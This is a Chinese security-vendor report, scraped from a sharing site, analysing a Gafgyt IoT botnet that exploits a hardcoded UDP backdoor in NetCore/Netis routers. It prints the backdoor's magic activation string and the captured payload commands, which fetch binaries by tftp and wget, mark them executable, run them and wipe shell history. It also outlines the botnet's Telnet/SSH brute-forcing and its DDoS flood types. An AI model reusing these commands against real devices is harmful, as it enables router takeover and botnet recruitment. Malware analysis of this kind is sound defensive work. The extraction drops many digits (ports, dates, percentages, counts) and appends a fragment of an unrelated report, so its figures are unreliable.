揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 后门的背后故事

Size: px

Start display at page:

Download "揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 后门的背后故事"

毖索柯
5 years ago
Views:

1 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事安天捕风 / 电信云堤初稿完成时间 :08 年 0 月 7 日 08 时首次发布时间 :08 年 0 月 7 日 8 时本版更新时间 :08 年 0 月 7 日 8 时文章分享二维码

2 目录概述... NETCORE 54 后门端口后门漏洞概述端口后门分析... 关联 GAFGYT 家族样本分析.... GAFGYT 家族功能简介.... GAFGYT 家族攻击协议分析关联 GAFGYT 僵尸网络威胁情报关联的 GAFGYT 僵尸网络架构关联 GAFGYT 僵尸网络攻击情报关联的 GAFGYT 僵尸网络肉鸡情报总结... 0 附录一 : 参考资料... 附录二 : 关于安天...

3 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事概述近日, 安天捕风蜜网系统监控并捕获到大量异常的 UDP 流量, 通过对该流量的分析, 发现存在僵尸网络控制节点 (C) 位于美国的黑客组织正在对全球网络的 NetCore 54/UDP 后门端口进行扫描攻击早在 04 年, 由国内电子厂商生产的一系列名为 NetCore 的路由器产品就已经被有关安全研究员披露有高权限的后门存在, 该后门可能会影响全球大约 00 万台 NetCore 系列路由器等设备此次 54/UDP 后门被国外物联网僵尸网络 Gafgyt 家族再次利用, 可见目前互联网上还存在大量有该后门的路由器设备, 而这些设备很大可能被作为高危的潜在肉鸡结合目前关联捕获的 Gafgyt 样本分析, 发现其 Tel/SSH 扫描爆破的 IP 网段重点分布在越南 ( 占比.04%) 中国 ( 占比 6.08%) 以及其他亚洲国家 ( 占比 7.8%), 其地理位置与 NetCore 产品的主要销售对象重合度很大通过安天捕风蜜网系统单日捕获的流量和云堤关联流量分析识别, 全国有 0 台肉鸡在线尝试与指定 Gafgyt 家族僵尸网络 C 连接综合上述情况分析, 可见 NetCore 54/UDP 后门端口与 Gafgyt 家族僵尸网络的结合, 对我国的互联网安全存在很大威胁 NetCore 54 后门. 54 端口后门漏洞概述 04 年 8 月末, 由中国电子厂商生产的系列路由器 ( 国内品牌名称为 Netcore, 国外品牌名称为 Netis) 被爆出含有一个严重的后门漏洞 [ 参考 ] 攻击者可以通过此漏洞获取路由器 Root 权限实际上,Netcore 的大量路由器产品存在可以轻易利用的后门漏洞, 攻击者可利用硬编码的后门口令访问该后门服务, 并可执行任意命令以及上传下载文件, 获取 WEB 登录口令等操作, 可完全控制受影响的产品由于此后门存在监听 54/UDP 端口的情况, 故可以从受影响设备的 WAN 端利用, 即攻击者可从互联网上任何地方利用此漏洞早在 04 年, 有关微博 [ 参考 ] 上就已经披露 Netcore 存在超级后门. 54 端口后门分析 Netcore 系列路由器在 /bin 目录下存在一个名为 igdmptd 的程序, 此程序会监听 UDP 端口 54 端口, 之后调用 operate_loop 进入事件循环, 接受连接并处理通过连接 54 端口, 可以通过特定格式的报文来获取路由器上的文件信息, 上传文件甚至执行系统命令分析详情如下 : 分析 Pcap 包, 利用 wireshark 分析 UDP 报文 Data 数据段, 其发送到 54 端口的数据为 AAAAAAAAnetcore., 从而激活后门登录接着发送另外一段 UDP 报文, 切换目录下载 Gafgyt 僵尸网络木马并执行, 数据段为 : AA..AAAA cd /tmp cd /var/run cd /mnt cd /root cd /; tftp -r asuna.mpsl -g ;cat asuna.mpsl >freg;chmod 777 freg;./freg netis; rm -rf freg; tftp -r asuna.mips -g ;cat asuna.mips >freg;chmod 777 freg;./freg netis; rm -rf freg 完整利用过程如图和图所示 : 安天实验室版权所有, 欢迎无损转载第页

4 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事图后门登录图执行任意恶意代码关联 Gafgyt 家族样本分析. Gafgyt 家族功能简介 Gafgyt 家族肉鸡的主要功能分为个模块 : Downloader 模块通过样本硬编码的 url 下载.sh 脚本和其他附属样本, 然后执行该脚本 / 样本, 实现肉鸡感染 ( 样本硬编码的 url 类似与 hfs 链接 ) Scanner 模块木马在运行后, 首先会向 C 发送首包, 而该首包与通常的僵尸网络家族首包存在比较大的区别常见的僵尸网络家族首包是包含系统配置等信息的, 而 Gafgyt 首包数据是 BUILD RAZER., C 则通常回复!* SCANNER ON, 命令肉鸡随机对指定 IP 网段进行 Tel/SSH 弱口令扫描爆破, 如果肉鸡发现爆破成功, 便通过远程登录下载并植入木马 DDoS 攻击肉鸡在执行 Tel/SSH 扫描爆破的同时, 也在和 C 保持正常通讯, 等待 C 的相关指令, 例如 DDoS 攻击指令 Gafgyt 可实现的主要攻击方式包括 :SYN Flood UDP Flood UDP Amplification TCP Flood RST Flood HTTP Flood 第页安天实验室版权所有, 欢迎无损转载

5 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事. Gafgyt 家族木马功能分析样本执行 "sudo yum install python-paramiko -y;sudo apt-get install python-paramiko -y;sudo mkdir /.tmp/;cd /.tmp;wget /scan.py" 指令, 安装 Python 编译器, 然后通过获取硬编码在样本内的 url 进行下载并执行 scan.py 脚本实现端口扫描爆破功能如图所示 : 图 scan.py 脚本扫描爆破样本通过硬编码嵌入的 IP 网段 SSH_SCAN ON 指令的端口爆破如图 4 所示 : 图 4 执行 SSH_SCAN ON 爆破 Tel 爆破同样是获取样本硬编码的 IP 网段执行 Tel_SCAN ON 的端口爆破, 并远程 Tel 登录被爆破成功的 IP, 执行 "cd /tmp; wget chmod 777 a;./a; cd; rm -rf./bash_history; history -c*\r\n" 指令, 植入 Gafgyt 被控端木马如图 5 所示 : 图 5 Gafgyt 植入木马 4 执行 DDoS 攻击指令肉鸡在进行 Tel/ssh 扫描爆破的同时, 也在与 C 进行正常通讯, 实时接收 C 的远程指令, 例如 DDoS 攻击指令如图 6 所示 : 肉鸡执行 HTTP Flood 攻击 : 肉鸡执行 UDP Flood 攻击如图 7 所示 : 图 6 执行 HTTP Flood 攻击安天实验室版权所有, 欢迎无损转载第页

6 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事肉鸡执行 TCP Flood 攻击如图 8 所示 : 图 7 执行 UDP Flood 攻击肉鸡执行 SYN Flood 攻击如图 9 所示 : 图 8 执行 TCP Flood 攻击图 9 执行 SYN Flood 攻击. Gafgyt 家族攻击协议分析表 - Gafgyt 家族协议数据名称偏移备注第 4 页安天实验室版权所有, 欢迎无损转载

7 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事 Command_Flag 0x00 "\n!*","!*","!"!* Tel_SCAN ON:Tel 扫描!* SSH_SCAN ON:SSH 扫描!* PING:ping 扫描 Attack_ip/domain 0x0 Attack_type 0x090-0x094 主要实现 6 种攻击类型 SYN Flood UDP Flood UDP Amplification TCP Flood RST Flood HTTP Flood 安天实验室版权所有, 欢迎无损转载第 5 页

8 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事 4 关联 Gafgyt 僵尸网络威胁情报 4. 关联的 Gafgyt 僵尸网络架构图 0 物联网木马 Gafgyt 与 NetCore 后门组成的僵尸网络架构经过对 54/UDP 端口后门及对应的 Gafgyt 家族木马样本的关联分析获取整个僵尸网络的架构后门和远程端口扫描爆破功能 Vulne_Scanner:Vulne_Scanner 功能模块是独立运行在几台服务器中, 主要是黑客通过自定义配置扫描 IP 网段扫描探测开放有 54/UDP 端口后门的 IP, 并通过后门默认密码登录远程执行 Gafgyt 木马植入或者下载植入木马的 Shell 脚本的 Payload Tel/SSH 爆破 :Tel/SSH 远程服务端口爆破模块集于被控端木马中, 是通过使用肉鸡集群爆破实现高效率蠕虫式感染指定 IP 网段存在弱口令的 IoT/Linux 设备肉鸡将爆破直接执行木马植入指令或者下载 S hell 脚本批量自动枚举植入木马通过对关联到的 Gafgyt 僵尸网络木马分析得知, 其 Tel/SSH 扫描爆破目标 IP 网段已经硬编码在木马中通过对这些 IP/6 网段进行定位查询得知, 关联的 Gafgyt 僵尸网络主要是扫描爆破越南中国英国印度菲律宾等亚洲国家详细 IP 网段的国家比例如下图所示 : 第 6 页安天实验室版权所有, 欢迎无损转载

9 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事越南 8 中国 0 关联 Gafgyt 僵尸网络 Tel/SSH 爆破 IP/6 网段全球分布统计英国印度 6 土耳其 4 菲律宾澳大利亚利比亚巴基斯坦韩国美国泰国日本西班牙匈牙利印度尼西亚瑞士新加坡南非图关联 Gafgyt 僵尸网络 Tel/SSH 爆破 IP/6 网段全球分布统计经过统计 Tel/SSH 爆破的 IP/6 网段结果显示, 其中, 网段最多的是越南, 有个 IP/6 网段, 占.0 4%; 中国位列第二, 有 0 个 IP/6 网段, 占 6.08%; 英国有个 IP/6 网段, 占 9.565%, 位列第三 ; 印度第四, 有 6 个 IP/6 网段, 占比约 5.%; 土耳其有 4 个 IP/6 网段, 占约.48% 需要指出的是, 目前捕获的 5 个关联的 Gafgyt 僵尸网络 C 均位于美国, 但对美国爆破的 IP/6 网段却只有个, 占 % 不到 ; 而整个亚洲却有 85 个爆破 IP/6 网段, 约占 79.9%, 很明显, 该 Gafgyt 僵尸网络入侵感染木马的物联网设备目标主要位于亚洲如图下所示, 经过对 Gafgyt 僵尸网络 Tel/SSH 爆破的 0 个国内 IP/6 网段梳理获知, 其主要扫描的是辽宁四川黑龙江福建山东香港的物联网设备从 IP 网段分布比例看, 与目前捕获的肉鸡分布存在一些差异该问题存在的原因, 可能是蜜网部署节点并没有在扫描的 IP 网段列表中, 或是捕获的流量地域比较集中但有一点可以肯定的是, 本次关联到的 Gafgyt 僵尸网络重点 IP 网段扫描是在下图所示的省份安天实验室版权所有, 欢迎无损转载第 7 页

10 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事 7 6 辽宁 6 关联 Gafgyt 僵尸网络 Tel/SSH 爆破 IP 网段全国分布统计 5 4 四川福建黑龙江山东香港安徽河北河南湖南江苏江西宁夏台湾天津新疆云南广东重庆 0 无论是 Vulne_Scanner 还是 Tel/SSH 扫描爆破, 获取到的远程代码任意执行权限, 都会下载并运行存放在 TFP 里面的 Gafgyt 家族木马肉鸡 & C 交互肉鸡在进行 IP 网段漏洞扫描的同时, 也会和 C 进行连接通信, 时刻等待并执行 C 下发的攻击指令从之前 Gafgyt 的攻击手法中看出, 有 SYN Flood UDP Flood UDP Amplification TCP Flood RST Flood HTTP Flood 等攻击类型 4. 关联 Gafgyt 僵尸网络攻击情报安天捕风小组团队已对关联 Gafgyt 僵尸网络集群进行了长达一个月的实时监测目前已经监测到关联 Gafgyt 僵尸网络集群向美国巴西英国荷兰法国罗马尼亚澳大利亚厄瓜多尔阿根廷葡萄牙乌克兰加拿大韩国等国家发起了 586 条间歇性 DDoS 攻击 ( 如下图所示 ), 造成了 8 个攻击事件从攻击情报数据上看, 关联 Gafgyt 僵尸网络集群没有对国内任何目标进行 DDoS 攻击, 但是却存在大量的物联网设备被充当肉鸡的情况第 8 页安天实验室版权所有, 欢迎无损转载

11 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事 00 关联 Gafgyt 僵尸网络集群 DDoS 攻击统计 50 美国巴西 94 法国 54 英国 4 厄瓜多尔 5 乌克兰澳大利亚 8 葡萄牙 6 荷兰 9 韩国阿根廷加拿大 5 6 罗马尼亚其他国家图 - 关联 Gafgyt 僵尸网络集群 DDoS 攻击统计 4. 关联的 Gafgyt 僵尸网络肉鸡情报通过安天捕风蜜网系统和电信云堤对关联到的 C 进行肉鸡 IP 排查, 获取到国内部分存在关联的肉鸡有 0 台经过对这些肉鸡进行地域查询并按省份分析统计获知, 关联到的肉鸡 IP 主要分布在沿海或内陆发达地区, 其中有肉鸡 IP 达到 000 台以上的有 9 个省份, 分别是浙江 64 台江苏 580 台广东 66 台重庆 97 台安徽 09 台四川 79 台福建 5 台湖南 069 台山东 0 台, 这 9 个省份肉鸡 IP 占据了目前捕获关联到的 C 国内的肉鸡中的 74.%( 详细如下图统计所示 ) 但这些各省份肉鸡数据比例与 IP/6 扫描数据比例确实存在一些差异, 出现该情况的主要原因可能为以下几点 :. 安天捕风小组没有针对本次 Gafgyt 僵尸网络所爆破的 IP/6 网段进行部署. 电信云堤的数据监测分析, 主要针对历史肉鸡高发的地区进行数据筛查. 本次捕获的肉鸡, 大部分应该是通过 NetCore 的 54/UDP 端口后门感染, 这一点在安天捕风蜜网系统捕获的数据中可以得到验证安天实验室版权所有, 欢迎无损转载第 9 页

12 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事国内关联 Gafgyt 僵尸网络捕获肉鸡分布情况统计上海, 70 湖北, 59 吉林, 875 北京, 574 山东, 0 黑龙江, 56 河南, 550 湖南, 069 福建, 5 河北, 50 云南, 509 四川, 79 江西, 455 陕西, 404 安徽, 09 新疆, 79 辽宁, 76 天津, 甘肃, 86 山西, 46 宁夏, 重庆, 97 其他, 66 广西, 56 青海, 0 澳门, 0 西藏, 0 广东, 66 江苏, 580 浙江, 64 内蒙古, 55 海南, 65 香港, 5 台湾, 8 贵州, 0 浙江江苏广东重庆安徽四川福建湖南山东吉林上海湖北北京黑龙江河南河北云南江西陕西新疆辽宁广西贵州海南内蒙古天津甘肃山西宁夏青海西藏台湾香港澳门图 4 国内关联 Gafgyt 僵尸网络捕获肉鸡分布情况统计 5 总结最近几年, 物联网僵尸网络得到了快速发展, 设备漏洞利用与僵尸网络的结合已经十分常见, 特别是起源于国外的 Mirai 和 Gafgyt 两个家族, 经常会利用最新 0day 漏洞变异版本, 使大量物联网设备感染木马究其根本原因, 是因为近年来物联网行业在成为全球热点后迅速发展, 市场需求和经济利润也在不断增长, 但很多物联网设备在研发期间盲目追求产品功能进度, 缺失了对设备安全的重视, 导致大批物联网设备存在各种类型的高危漏洞由于物联网设备基数大高危漏洞多防御措施少监管措施不足, 促使黑客对全球大量物联网设备进行了僵尸网络木马的大肆感染, 使其沦为其控制下的肉鸡, 默默做着没有报酬的 DDoS 打手或矿工据统计, 全球至少有 000 万台物联网设备存在高危漏洞, 这批潜在的肉鸡对任何一个黑客组织来说都是足以诱人的, 哪怕只能用 % 的量组成一个 DDoS 僵尸网络, 其攻击流量也足以达到 TB 级别所以, 当前 DDoS 攻击流量能迅速从 GB 级别迅速提升到 TB 级别, 很大原因是得益于大批物联网充当了肉鸡看似 DDoS 攻击对我们个人并没有多大影响, 现实中却严重影响我们的生活和工作, 甚至国家和互联网的安全当 DDoS 僵尸网络执行攻击时, 不仅攻击目标和肉鸡都属于受害者 06 年 0 月, 美国域名服务商 Dyn 遭到大规模物联网僵尸网络 DDoS 攻击, 导致美国东部大面积不能正常上网 ; 同年月底造成德国 90 多万台路由器和固定电话的网络瘫痪, 就是因为相关设备被植入 Mirai 家族木马并执行 DDoS 攻击造成的网络堵塞而黑客的攻击目标也从小范围的网络目标, 升级到商业之间的竞争国家金融服务, 甚至国家之间的政治军事行动等等如今,DDoS 僵尸网络搭建的简易性和廉价性, 给互联网安全和我们日常生活和工作造成的威胁日趋严峻, 维护网络安全发展仍然任重道远第 0 页安天实验室版权所有, 欢迎无损转载

13 揭秘物联网僵尸网络 Gafgyt 家族与 NetCore 54 后门的背后故事附录一 : 参考资料 [] [] [] 附录二 : 关于安天安天从反病毒引擎研发团队起步, 目前已发展成为以安天实验室为总部, 以企业安全公司移动安全公司为两翼的集团化安全企业安天始终坚持以安全保障用户价值为企业信仰, 崇尚自主研发创新, 在安全检测引擎移动安全网络协议分析还原动态分析终端防护虚拟化安全等方面形成了全能力链布局安天的监控预警能力覆盖全国产品与服务辐射多个国家安天将大数据分析安全可视化等方面的技术与产品体系有效结合, 以海量样本自动化分析平台延展工程师团队作业能力缩短产品响应周期结合多年积累的海量安全威胁知识库, 综合应用大数据分析安全可视化等方面经验, 推出了应对高级持续性威胁 (APT) 和面向大规模网络与关键基础设施的态势感知与监控预警解决方案全球超过三十家以上的著名安全厂商 IT 厂商选择安天作为检测能力合作伙伴, 安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备近两亿部手机提供安全防护安天移动检测引擎是全球首个获得 AV-TEST 年度奖项的中国产品安天技术实力得到行业管理机构客户和伙伴的认可, 安天已连续四届蝉联国家级安全应急支撑单位资质, 亦是中国国家信息安全漏洞库六家首批一级支撑单位之一安天是中国应急响应体系中重要的企业节点, 在红色代码口令蠕虫震网破壳沙虫方程式等重大安全事件中, 安天提供了先发预警深度分析或系统的解决方案安天实验室更多信息请访问 : 中文 ) ( 英文 ) 安天企业安全公司更多信息请访问 : 安天移动安全公司 (AVL TEAM) 更多信息请访问 : 安天实验室版权所有, 欢迎无损转载第页

Trojan[DDOS]/Linux. Znaich分析笔记

Trojan[DDOS]/Linux. Znaich分析笔记安天安全研究与应急处理中心 (Antiy CERT) 目录编者按... 1 1 概述... 1 2 感染源... 1 3 样本分析... 3 4 总结... 7 附录一 : 参考资料... 7 附录二 : 关于安天... 7 安天实验室版权所有, 欢迎无损转载第 2 页编者按安天 CERT 这篇分析笔记完成于 2015 年 1 月 18 日, 但撰写后并未公开, 为让安全工作者更进一步了解 IoT